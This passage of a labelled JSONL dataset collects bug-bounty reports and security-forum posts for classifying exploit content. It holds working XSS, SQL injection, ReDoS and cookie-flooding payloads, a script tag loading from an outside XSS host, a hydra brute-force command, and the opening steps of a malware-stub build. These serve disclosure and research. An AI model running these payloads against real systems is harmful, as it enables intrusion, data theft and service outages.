src=https://naglinagli.xss.ht\\u003e\\u003c/script\\u003e${7*7}{{7*7}}\",\"media\":{\"id\":\"36361\",\"signedBlobId\":\"eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ21PIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--84ffd51a70b79ab6faaec2d6c3e7cca38f907f30\",\"url\":\"https://cdn.shopify.com/b/shopify-linkpop-prod/q85t5nppud8qfjo1dvg0ql3p01oe.png\",\"__typename\":\"Media\"},\"themeSettings\":{\"backgroundColor\":\"#F0EFEC\",\"fontColor\":\"#000\",\"primaryFont\":\"Roboto\",\"secondaryFont\":\"\"},\"__typename\":\"Page\"},\"errors\":null,\"__typename\":\"PageUpdatePayload\"},\"linksCreate\":{\"page\":{\"id\":\"12617\",\"links\":[{\"id\":\"254183\",\"title\":\"\\\"\\u003e\\u003ch1\\u003etesT\\u003c/h1\\u003e${7*7}{{7*7}}\",\"url\":\"javascript:alert(document.domain)\",\"media\":{\"id\":\"36362\",\"signedBlobId\":\"eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ3FPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--54c67556358d19ddba24dd01f4130d1b2641b16f\",\"url\":\"https://cdn.shopify.com/b/shopify-linkpop-prod/u7qrfhm16ma74bf3tvwn2lun4vn1.png\",\"__typename\":\"Media\"},\"__typename\":\"ExternalLink\"}],\"socialMediaAccounts\":[{\"id\":\"30879\",\"handle\":\"javascript:alert(1)\",\"network\":\"facebook\",\"__typename\":\"SocialMediaAccount\"},{\"id\":\"30878\",\"handle\":\"javascript:alert(1)\",\"network\":\"shop\",\"__typename\":\"SocialMediaAccount\"}],\"__typename\":\"Page\"},\"errors\":null,\"__typename\":\"LinksCreatePayload\"}}}\n```\n\n{F1569112}\n\n{F1569113}\n\nI reached this service of yours through some manual navigations on shopify.com and shopifycloud.com, I can see that it's also whitelisted on your OAuth redirects.\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Navigate to www.linkpop.com\n  2. Login to your account\n  3. Create new template\n  4. Capture the request, change the \"url\" param to javascript:alert(document.domain)\n  5. Click on \"Copy Link\"\n  6. Now you have shareable link - click on the first image -> https://linkpop.com/testnaglinagli\n\nThe XSS worked for me on FireFox.\n\nBest Regards\n\n@nagli\n\n## Impact\n\nCookies Exfiltration\nCORS Bypass\nSOAP Bypass\nExecuting Javascript on the victims behalf.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "64fe586edb7563cdf916", "text": "I found something here? gist.github.com https://gist.github.com/Bristools/7af6f8710837a5d8a3786059fce18e3a/revisions gistfile1.txt You'll need inno setup compiler and Winrar https://jrsoftware.org/isdl.php https://www.win-rar.com/start.html?&L=0 https://direct-link.net/323899/itroublve MAKE SURE TO TURN ON BYPASS WINDOWS SECURITY -------------------------------------------------- 1.)First create a stub using a stub maker of your choice. I recommend Mercurial 2.)Download inno setup compiler and create a new script file using the script wizard This file has been truncated. show original", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-12-16", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9bafb01d178951ea3a36", "text": "[Improper Access Control - Generic] api keys leaked\n\n## Summary:\n[Disclosure of valid private keys may lead to unauthorized access to any systems that use them for authentication. Verify whether any keys disclosed are actually valid, and whether their disclosure within the application is appropriate]\n\n## Impact:\n[Disclosure of valid private keys may lead to unauthorized access to any systems that use them for authentication. Verify whether any keys disclosed are actually valid, and whether their disclosure within the application is appropriate]\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1.  open the url  redditinc.com\n  2. copy the \"redditinc\" from url  \n  3. using gitdork (\"redditinc\" apikey)\n   4.open github search the gitdork \n 5.check the results\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n\n  * [attachment / reference]\n\n## Impact\n\nDisclosure of valid private keys may lead to unauthorized access to any systems that use them for authentication. Verify whether any keys disclosed are actually valid, and whether their disclosure within the application is appropriate", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d5c12fed40ae33b5e2b8", "text": "[Unknown] [Python] Add Unicode Bypass Validation query tests and help\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c8702bb5b6ffe3fe164c", "text": "I can’t get this one after many days. I have created a password list with cupp using the name harry potter with leet mode on. I filtered the passwords to 8 character max, no numbers, no special characters. I created a username list with Harry Potter. hydra -L harry_usernames.txt -P harry.txt -u -f ssh://167.99.89.198:22 -t 4 any ideas?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "770558dd4d376752adc6", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] Time-of-check to time-of-use vulnerability in the std::fs::remove_dir_all() function of the Rust standard library\n\nThe implementation of [`std::fs::remove_dir_all()`](https://doc.rust-lang.org/std/fs/fn.remove_dir_all.html) in the Rust standard library is vulnerable to a time-of-check to time-of-use link replacement attack. This applies to all versions of Rust before 1.58.1.\n\n### Vulnerability details\nThe [documentation of `std::fs::remove_dir_all()`](https://doc.rust-lang.org/std/fs/fn.remove_dir_all.html) guarantees that the function does not follow symbolic links:\n> Removes a directory at this path, after removing all its contents. Use carefully!\n> This function does not follow symbolic links and it will simply remove the symbolic link itself.\n\nThe vulnerable implementation for Windows is in [library/std/src/sys/windows/fs.rs](https://github.com/rust-lang/rust/blob/1.58.0/library/std/src/sys/windows/fs.rs#L755-L779). For other platforms it is in [library/std/src/sys_common/fs.rs](https://github.com/rust-lang/rust/blob/1.58.0/library/std/src/sys_common/fs.rs#L28-L43). Both use a `remove_dir_all_recursive()` helper function which does the actual recursion and deletion. It opens directory by the given path and iterates the directory entries. For each directory entry it checks if the entry is a directory and recurses into it if it is. If it is not it is deleted using `std::fs::remove_file()`. On the way back up the now empty directories are deleted using `std::fs::remove_dir()`\n\nThere are two problems with this implementation if the attacker has write access to a directory which is being deleted by the privileged process:\n\n1. The type of a directory entry is checked and it is being recursed into if it is a directory. There is a short time window between the check and the opening of the subdirectory which an attacker can exploit by replacing the subdirectory with symlink causing the symlink to be followed.\n\n2. The path given to  `std::fs::remove_dir_all()` is extended with subentry paths which are then used to process subdirectories and delete directory entries. Paths are resolved by the operating system each time they are passed to a system call. If the attacker can replace a  descendent directory of the directory  passed to `remove_dir_all()` while a subdirectory of it is being processed with a symlink he can cause that symlink to be followed in subsequent filesystem operations.\n\nA proof-of-concept code demonstrating the vulnerability is attached.\n\n### Mitigation\n* Update to Rust 1.58.1 or later which includes a fixed implementation for all supported platforms except for macOS before version 10.10 and REDOX.\n* Don't use the vulnerable `std::fs::remove_dir_all()` in a privileged process or any other security-senstitive context.\n* Make sure that `std::fs::remove_dir_all()` is only used on directories not accessible to processes from other security contexts.\n\n## Impact\n\nIf the attacker has write access to a directory which is being deleted by the privileged process using `remove_dir_all()` he can trick the process to delete any sensitive files or directory subtrees that the privileged process can.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8182c0fa907091f38dc3", "text": "[Cross-site Scripting (XSS) - Generic] XSS trigger via HTML Iframe injection in ( https://██████████ ) due to unfiltered HTML tags\n\nHi team,\nI found an Iframe injection issue where I chained it and formed an XSS. I found the issue in the text editor area while ███████ing the account.\nThere is a place in the registration area where we have to give a reason for █████████. We can write our reason and edit to show more beautifully.\nURL: https://██████████/█████/\n████████\n\nIn this edit area, there are two buttons 1. ████ and 2. ███████. We can use both fields to edit our text. As an analyst, I analyze both fields and found the text area is vulnerable to injection, where we can able to inject iframe injections.\n<iframe src=\"https://google.com\"></iframe>\n\nAnd after clicking on the visual button, it's reflecting on the page. But the problem is it's showing the error, it's because the page is already secured by the clickjacking issue.\n██████████\n\nBut got an idea where I can chain the iframe injection issue to fire the XSS into the page of https://██████████.\nI uploaded the XSS image into my NETLIFY sandbox server. Here's a Link: https://█████\n\nThen I create the payload like: \n<iframe src=\"https://███████\"></iframe>\n\nAnd boom!! I can see the XSS firing into the page of https://███.\n████████\n\n*It's definitely not allowing to injection directly iframe page but it's allowing the image to reflect. In this way, an attacker cannot able to steal session cookies but can able to perform attacks like phishing on a genuine site.*\n\n**VIDEO POC:**\n███████\n\n## Impact\n\nAn attacker cannot able to steal a session's cookies because it's not an XSS  but attackers can able to perform attacks like phishing on a genuine site.\n\n## System Host(s)\n██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n1. Visit https://██████/█████████/,\n2. Scroll below you will see the area like ( Reason for ██████ (required) )\n3. Click the text button and inject : <iframe src=\"https://█████████\"></iframe> \npayload\n4. Again click on the ██████████ button,\n\n(Instently, You will see the xss is firing into the page of https://███ )\n\n## Suggested Mitigation/Remediation Actions\nFilter every data before displaying it into the page and only whitelist the limited HTML tags.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2dc3fe54afa700492a6e", "text": "[Incorrect Authorization] Incorrect Authorization leads to see other users Documents Uploaded\n\n## Summary:\nHi team,\nwhen user upload document, other user can see this docs only with link\n\n## Steps To Reproduce:\n1. loign to portal with user A : https://qcn.mytva.com\n2. go to admin section and upload a document.\n{F2782891}\n\n3. click on link to see uploaded image. [like](https://qcn.mytva.com/Admin/FileHandler?ENC=RUFBQUFITmtabk00TjJGa1ptRTVNV0Z6TW5JMHV0S2hNTHNYR1J1SDNMMFBqeElLajlTNGNjTHcxVUhqcHhuL1R1cUxyVkxoS0RSRUFqUjRDTlFEd2E4S1diUkNYMlhGNFdSTDRrdE1yUUgvNkVhYWtUR251RjVYc1V6RDdwZkZXdTlCV0tZY2JmWGlVSkNjcHEyK0VvQU1Fc2R2RklDQW1MM25kNEZMTStxMTlhRnBrdStuOGs4N3lTU1Q1R2FsQ1ZrTHhnPT0)\n\n{F2782892}\n\n4. login to portal with user B\n5. go to above url, we can see and download user A document.\n\n{F2782896}\n\n## Impact\n\nany login user can see other user documents", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d5a59fe44e1c5eb873ac", "text": "Hi I’m stuck with the first question in the course around default credentials . I have modified the given script which takes in a csv file fine and I have used all combinations from the all technologies listed here: https://github.com/scadastrangelove/SCADAPASS/blob/master/scadapass.csv . I also believe that row 12 relates to the technology here. Where the question says, “Inspect the login page and perform a bruteforce attack. What is the valid username?” I’m taking the question to actually mean: do a bruteforce by hand, just trying a small set of credentials from the link above to deduce the username only ( the PW is not even relevant). Based on row 12 of the csv in the link above, this looks pretty simple; but doesn’t work. Presupposing I understand this all correctly, Would someone be so kind to tell me, What am I missing, please? …and put me out of my misery. Warm regards", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "df1beeb0f1f882582d89", "text": "[Unknown] CVE-2021-38314  @ https://www.mtn.ci\n\n## Summary:\nHello.\nI your domain https://www.mtn.ci was vulnerable to CVE-2021-38314\n\n##Description:\nThe Gutenberg Template Library & Redux Framework plugin <= 4.2.11 for WordPress registered several AJAX actions available to unauthenticated users in the `includes` function in `redux-core/class-redux-core.php` that were unique to a given site but deterministic and predictable given that they were based on an md5 hash of the site URL with a known salt value of '-redux' and an md5 hash of the previous hash with a known salt value of '-support'. These AJAX actions could be used to retrieve a list of active plugins and their versions, the site's PHP version, and an unsalted md5 hash of site&#8217;s `AUTH_KEY` concatenated with the `SECURE_AUTH_KEY`.\n\n##Referrence:\nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38314\nhttps://www.wordfence.com/blog/2021/09/over-1-million-sites-affected-by-redux-framework-vulnerabilities/\n\n## Steps To Reproduce:\nVisit https://www.mtn.ci/wp-admin/admin-ajax.php?action=e1efc9f8463379b3427645c8df923e6d you will see ```037c4f460684e77a5f67fe148576121b```\n\n## Supporting Material/References:\n{F1461730}\n\n## Impact\n\nCVE-2021-38314", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2021-38314"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "10b0da6ab672f4d259c8", "text": "[Cross-site Scripting (XSS) - Stored] Xss triggered in Your-store.myshopify.com/admin/apps/shopify-email/editor/****\n\nHi team,\nI have found `Store` Xss in shopify-email\n\n#Reproduction Instructions /\n1.Configure `shopify-email` for Shopify stores at https://apps.shopify.com/shopify-email\n2.Goto `Your-store.myshopify.com/admin/apps/shopify-email/template-branding` \n3.Change F1607675 with \"><img src=xx onerror=alert(document.domain)> click `Save`.\n4.Now Select any F1607682.\n#██████████\n\n#Proof of Concept\n███\n████\n\n## Impact\n\nStored XSS triggered.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "875d0c3778858ed27d92", "text": "I managed to extract de wordlist from Assessment.dll with dotPeak (JetBrains) and used also the decoding part of it. Wordlist of 999 lines. Iteration of these words resulted in 998 times 404 (Not Found) and 1 resulted in a 403 (Forbidden). That was string h******s, but no success either. Please help.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b0380ab705055733361b", "text": "Thanks for the hint of the smallest list. I enumerated zones properly and couldn’t figure out what I was doing wrong. For others reading this, he means start with the smallest list in SecLists/Discovery/DNS/ first, not subdomains-top1million-5000.txt which is what I initially assumed.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-03-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "45a54327fe92bfe67a9f", "text": "[Phishing] Subdomain Takeover on  delivey.yelp.com\n\n## Summary:\n[Subdomain takeover vulnerabilities occur when a subdomain (delivery.yelp.com) is pointing to a service]\nVulnerable url : delivery.yelp.com\nThis is an [verify Link](http://delivery.yelp.com.s3-website-us-east-1.amazonaws.com/).\n{F1959331}\n\n## Platform(s) Affected:\n[website  ]\n\n\n## Steps To Reproduce\n\n  1. [Create the Amazon S3 Bucket on this Name : delivery.yelp.com]\n{F1959320}\n  1. [then Upload the Attacker HTML web page]\n  1. [then using Static Web hosting ]\n\n## Supporting Material/References:\n{F1959332}\n\nRemediation\nRemove the cname entry or claim the subdomain delivey.yelp.com on amazon aws\n\n## Impact\n\nRisk\nfake website\nmalicious code injection\nusers tricking\ncompany impersonation\nThis issue can have really huge impact on the companies reputation someone could post malicious content on the compromised site and then your users will think it's official but it's not.\n\nBest Regards, \nRacer Saravanaa 05", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9a066eb49d2e06ed147a", "text": "[Improper Access Control - Generic] Anonymous access control - Payments Status\n\n## Summary:\nFound on the Payments Status function website, it can be accessed anonymously. payment status should only be accessible by accounts that make payments in a state that has successfully logged in.\n\n## Steps To Reproduce:\naccess anonymously (without logging in) to the payment status function as in the example below\n\n  1. Request:\nGET /payments/paym_test_5rjz482tky43reoil9f/status HTTP/2\nHost: api.omise.co\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\nSec-Ch-Ua-Platform: \"macOS\"\nAccept: */*\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://api.omise.co/\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\n\n2. Response:\nHTTP/2 200 OK\nDate: Thu, 21 Apr 2022 10:57:37 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 18\nX-Download-Options: noopen\nX-Permitted-Cross-Domain-Policies: none\nReferrer-Policy: strict-origin\nCache-Control: no-cache, no-store\nEtag: W/\"c9e654e8902aa47de7edcd7ab902ed16\"\nSet-Cookie: locale=en; path=/\nX-Request-Id: 26180027472066089\nStrict-Transport-Security: max-age=31536000; includeSubDomains\n\n{\"processed\":true}\n\n## Impact\n\nAttackers can see payment status on the account's website without having to log in (anonymous)\n\nBest regards,\n\n\nCodeSlayer137", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-08-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "efc50de17254f6b5392f", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2022-32205: Set-Cookie denial of service\n\n## Summary:\nCurl fails to limit the number of cookies that can be set by a single host/domain. It can easily lead to a situation where constructing the request towards a host will end up consuming more than `DYN_HTTP_REQUEST` memory, leading to instant `CURLE_OUT_OF_MEMORY`.\n\nAny host in a given domain can target any other hosts in the same domain by using domain cookies. The attack works from both `HTTP` and `HTTPS` and from unprivileged ports.\n\n## Steps To Reproduce:\n  1. Run the following python web server:\n```\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass MyServer(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        for i in range(0,256):\n            self.send_header(\"Set-Cookie\", \"f{}={}; Domain=hax.invalid\".format(i, \"A\" * 4092))\n        self.end_headers()\n\nif __name__ == \"__main__\":\n    webServer = HTTPServer((\"127.0.0.1\", 9000), MyServer)\n    try:\n        webServer.serve_forever()\n    except KeyboardInterrupt:\n        pass\n    webServer.server_close()\n ```\n  2.  `curl -c cookie.txt -b cookie.txt --connect-to evilsite.hax.invalid:80:127.0.0.1:9000 http://evilsite.hax.invalid/`\n  3.  `curl -c cookie.txt -b cookie.txt --connect-to targetedsite.hax.invalid:80:127.0.0.1:9000 http://targetedsite.hax.invalid/`\n\nThis is CWE-770: Allocation of Resources Without Limits or Throttling\n\n# Remediation ideas\nThe cookie matching being as complicated as it is makes it a bit hard to create a fix that always works fine. The request inhabits other headers as well as the cookies, so the amount of storage available for the cookies also varies per request.\n\nOne relatively \"easy\" way to mitigate this would be to limit the amount of domain cookies a domain can have. But what should be done if  `Set-Cookie` would go over this limit? Maybe flush the oldest cookies?\n\n## Impact\n\nDenial of service", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32205"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b97b9266b57869e3d0ca", "text": "[Resource Injection] Arbitrary file injection via symlink attack in rdoc generator\n\nThere is a vulnerability that can allow an attacker to spoof the symbolic link and traverse the file system to unintended locations or access arbitrary files. The symbolic link can permit an attacker to read  a file that they originally did not have permissions to access and to inject its content to the placed-on-the-web documentation.\n\n# PoC\n\n1.\n```sh\n$ mkdir test\n$ cd test\n$ ln -s /etc/passwd test\n$ rdoc\n```\n2.\nSee `doc/test.html` and `doc/js/search_index.js`, they contain the data of `/etc/passwd`.\n\nThe spoofed link can refer to files in `~/.ssh`, `~/.gnupg`, `/etc`, `/proc`/, `/sys`, thus, the nature of the disclosed data varies from secrets/credentials to system configurations, hardware info, firewall rules,  and so on.\n\n## Impact\n\nAn attacker could gain access to sensitive data or system resources. This could allow access to protected files or directories including configuration files and files containing sensitive information.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-18", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1ea9fa4be6b3b051e7aa", "text": "Can smb help me with overflown? Every time I got segm fault", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6019406c098700bf0ea9", "text": "[Uncontrolled Resource Consumption] Regular Expression Denial of Service in Headers\n\n**Summary:** ReDoS vulnerabilities in Headers class.\n\n**Description:** The `Headers.set()` and `Headers.append()` methods are vulnerable to Regular Expression Denial of Service (ReDoS) attacks when untrusted values are passed into the functions.  This is due to the inefficient regular expression used to normalize the values in the `headerValueNormalize()` utility function.\n\n## Steps To Reproduce:\n\n  1. Install undici (npm install undici@5.13)\n  2. Run the following program:\n```js\nconst { Headers } = require(\"undici\");\n\nconst headers = new Headers();\nconst attack = \"a\" + \"\\t\".repeat(50_000) + \"\\ta\";\nconst start = performance.now();\nheaders.append(\"foo\", attack);\nconsole.log(`${performance.now() - start}ms`);\n```\n\n## Impact: The code takes almost 3 seconds to run because of the inefficient regular expression used in `Headers.append()`\n\n## Supporting Material/References:\n  * Cause of vulnerability: https://github.com/nodejs/undici/blob/main/lib/fetch/headers.js#L18-L30\n  * Both the `Headers.set()` and `Headers.append()` functions are affected.\n```js\nconst { Headers } = require(\"undici\");\n\nconsole.log(\"Headers.set()\");\nfor (let i = 0; i <= 5; i++) {\n  const headers = new Headers();\n  const attack = \"a\" + \"\\t\".repeat(i * 10_000) + \"\\ta\";\n  const start = performance.now();\n  headers.set(\"foo\", attack);\n  console.log(`${attack.length}: ${performance.now() - start}ms`);\n}\n\nconsole.log(\"\\nHeaders.append()\");\nfor (let i = 0; i <= 5; i++) {\n  const headers = new Headers();\n  const attack = \"a\" + \"\\t\".repeat(i * 10_000) + \"\\ta\";\n  const start = performance.now();\n  headers.append(\"foo\", attack);\n  console.log(`${attack.length}: ${performance.now() - start}ms`);\n}\n```\n\n```txt\nHeaders.set()\n3: 0.4767999998293817ms\n10003: 108.30930000031367ms\n20003: 417.9063999997452ms\n30003: 949.7406999999657ms\n40003: 1662.9593000002205ms\n50003: 2645.8285000002943ms\n\nHeaders.append()\n3: 0.27730000019073486ms\n10003: 111.98060000035912ms\n20003: 430.24649999989197ms\n30003: 996.5332000004128ms\n40003: 1706.5194999999367ms\n50003: 2932.2003999999724ms\n```\n\n## Impact\n\nAn attacker can immobilize an unsuspecting user of this package for a few seconds if untrusted input is passed into the unsafe `Headers` methods.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4440345569528a695a76", "text": "[Open Redirect] Open redirect on \"Unsupported browser\" warning\n\nHello team,\nThe below mentioned source code is using a unsanitized URL redirection mechanism which will cause open redirection vulnerability\n\n```\n\t\t\tconst urlParams = new URLSearchParams(window.location.search)\n\t\t\tif (urlParams.has('redirect_url')) {\n\t\t\t\tconst redirectPath = Buffer.from(urlParams.get('redirect_url'), 'base64').toString() || '/'\n\t\t\t\twindow.location = redirectPath\n\t\t\t\treturn\n\t\t\t}\n```\nThe `UnsupportedBrowser.vue` component used to display a message to users of unsupported browsers. If the user's browser is unsupported, it will display a message with an icon and a button to continue browsing with the unsupported browser.The script checks if there is a query parameter called `redirect_url` in the query string. If the parameter is present, it decodes the value of the parameter from base64 and then redirects the user to the decoded URL and it does not validate the decoded URL or check whether it is a trusted URL before redirecting the user. This makes it possible for an attacker to construct a malicious URL that includes the `redirect_url` parameter and a URL of their choice. When a user clicks on the link, the script will decode the value of the `redirect_url` parameter and redirect the user to the attacker's URL\n\n#Vulnerable Source Permalink:\nhttps://github.com/nextcloud/server/blob/master/core/src/views/UnsupportedBrowser.vue#L140-#L146\n\n#Mitigation:\n- Use any functions that check if the input of the `redirect_url` parameter and ensure that it is a trusted URL before redirecting the user.\n- Add a Link warning popup like hackerone do, proceed redirection only when user accept the conditions, example like this:\n\n{F2340720}\n\n## Impact\n\nIf the app does not validate untrusted user input, an attacker could supply a URL that redirects an unsuspecting victim from a legitimate domain to an attacker's site.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9b8ff23921a8537a425e", "text": "With ‘man uname’ you will be able to see your options You can show all info available, or use a simple aproach I used uname -r Don’t forget to write exacted what you were asked for", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2b6f55b3d5cc573ff1be", "text": "Does someone else have a 504 Gateway Timeout on PHP file? I lost my reverse shell after a Ctrl+C but couldn’t resend my payload because every PHP page send a 504. Root HTML works fine though. I’m on EU Fortress 1", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "00915f52fb6581622536", "text": "[SQL Injection] SQL Injection on █████\n\n#### Background:\nIt looks like the patch for #231338 has been reverted and this subdomain is yet again vulnerable to SQL injection.\n\n### Summary:\nAn Airforce subdomain is vulnerable to SQL Injection because the application does not produce sufficient validation on user input. This allows an attacker to execute SQL queries.\n\n### Description:\nThe `███=` parameter on `https://███████/█████████` does not properly sanitize ' characters, allowing an attacker to execute SQL queries!\n\n### Impact\n\nThis could potentially expose sensitive information because an attacker could potentially dump the databases on this server!\n\n### Step-by-step Reproduction Instructions\n\n    1.) Open Firefox or any browser\n    2.) Visit `https://███████/██████████=' and updatexml(null,concat(0x0a,version()),null)-- -@hackerone.mil`\n    3.) You will see the MySQL version in the response => `██████████`\n\nUser - `███████`\npayload => `https://████████/████████████=' and updatexml(null,concat(0x0a,user()),null)-- -@hackerone.mil`\n\nDatabase - `████`\npayload => `https://██████/█████████████=%27%20and%20updatexml(null,concat(0x0a,database()),null)--%20-@hackerone.mil`\n\n██████\n### Suggested Mitigation/Remediation Actions\n\nSanitize input!\n\nThanks!\n- Corben Douglas [@sxcurity](https://twitter.com/sxcurity)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5ea9e9212058ba683a8c", "text": "[Violation of Secure Design Principles] Host Header Injection Attack - www.xnxx.com\n\nHost Header Injection Attack - www.xnxx.com\n\nAn attacker can manipulate the Host header as seen by the web application and cause the application to behave in unexpected ways. \n\nVery often multiple websites are hosted on the same IP address. This is where the Host Header comes in. This header specifies which website should process the HTTP request. The web server uses the value of this header to dispatch the request to the specified website. Each website hosted on the same IP address is called a virtual host.\n\nBut what happens if we specify an invalid Host Header? If Apache receives an unrecognized Host Header, it passes it to the first virtual host defined in httpd.conf. Therefore, it's possible to send requests with arbitrary Host Headers to the first virtual host. \n\nAnother way to pass arbitrary Host headers is to use the X-Forwarded-Host Header. In some configurations this header will rewrite the value of the Host header. Therefore it's possible to make a request like:\n\n#PoC Request -\nGET / HTTP/1.1\nHost: www.evil.com\nCookie: session_token=c679b2593ccbf131UluWiMWIZlNaClkTnBeFmtGoF9LW8CUvgTcRJ1QifNB9WBZD4tANB3m2QsO2qNx79pUK-m7tk2fRFm_ejHw_hEL2Hn1Milyoziqsi3GsBY7MbYOtDbwKmclffY4Yj0bsmbr7YHvmBNirDPcFfV59cscW9kqtCuYNhoigtklvNyJJulrkw1kjHwyZXeYF4t-MXTEP7GboN1B0JyVbEMsMaA%3D%3D; wpn_ad_cookie=0b43478923c27e53a385d969d9b4bca2\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nReferer: https://www.xnxx.com/\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\n#PoC Response -\nHTTP/1.1 301 Moved Permanently\nContent-length: 0\nLocation: http://www.evil.com/\nConnection: close\n\n#PoC Payload -\r\nHost: evil.com\n\nPlease verify and fix the same.\n\n## Impact\n\nTampering of Host header can lead to the following attacks:\nWeb Cache Poisoning-Manipulating caching systems into storing a page generated with a malicious Host and serving it to others and more.", "label": 1, "label_name": "vulnerability_discussion", 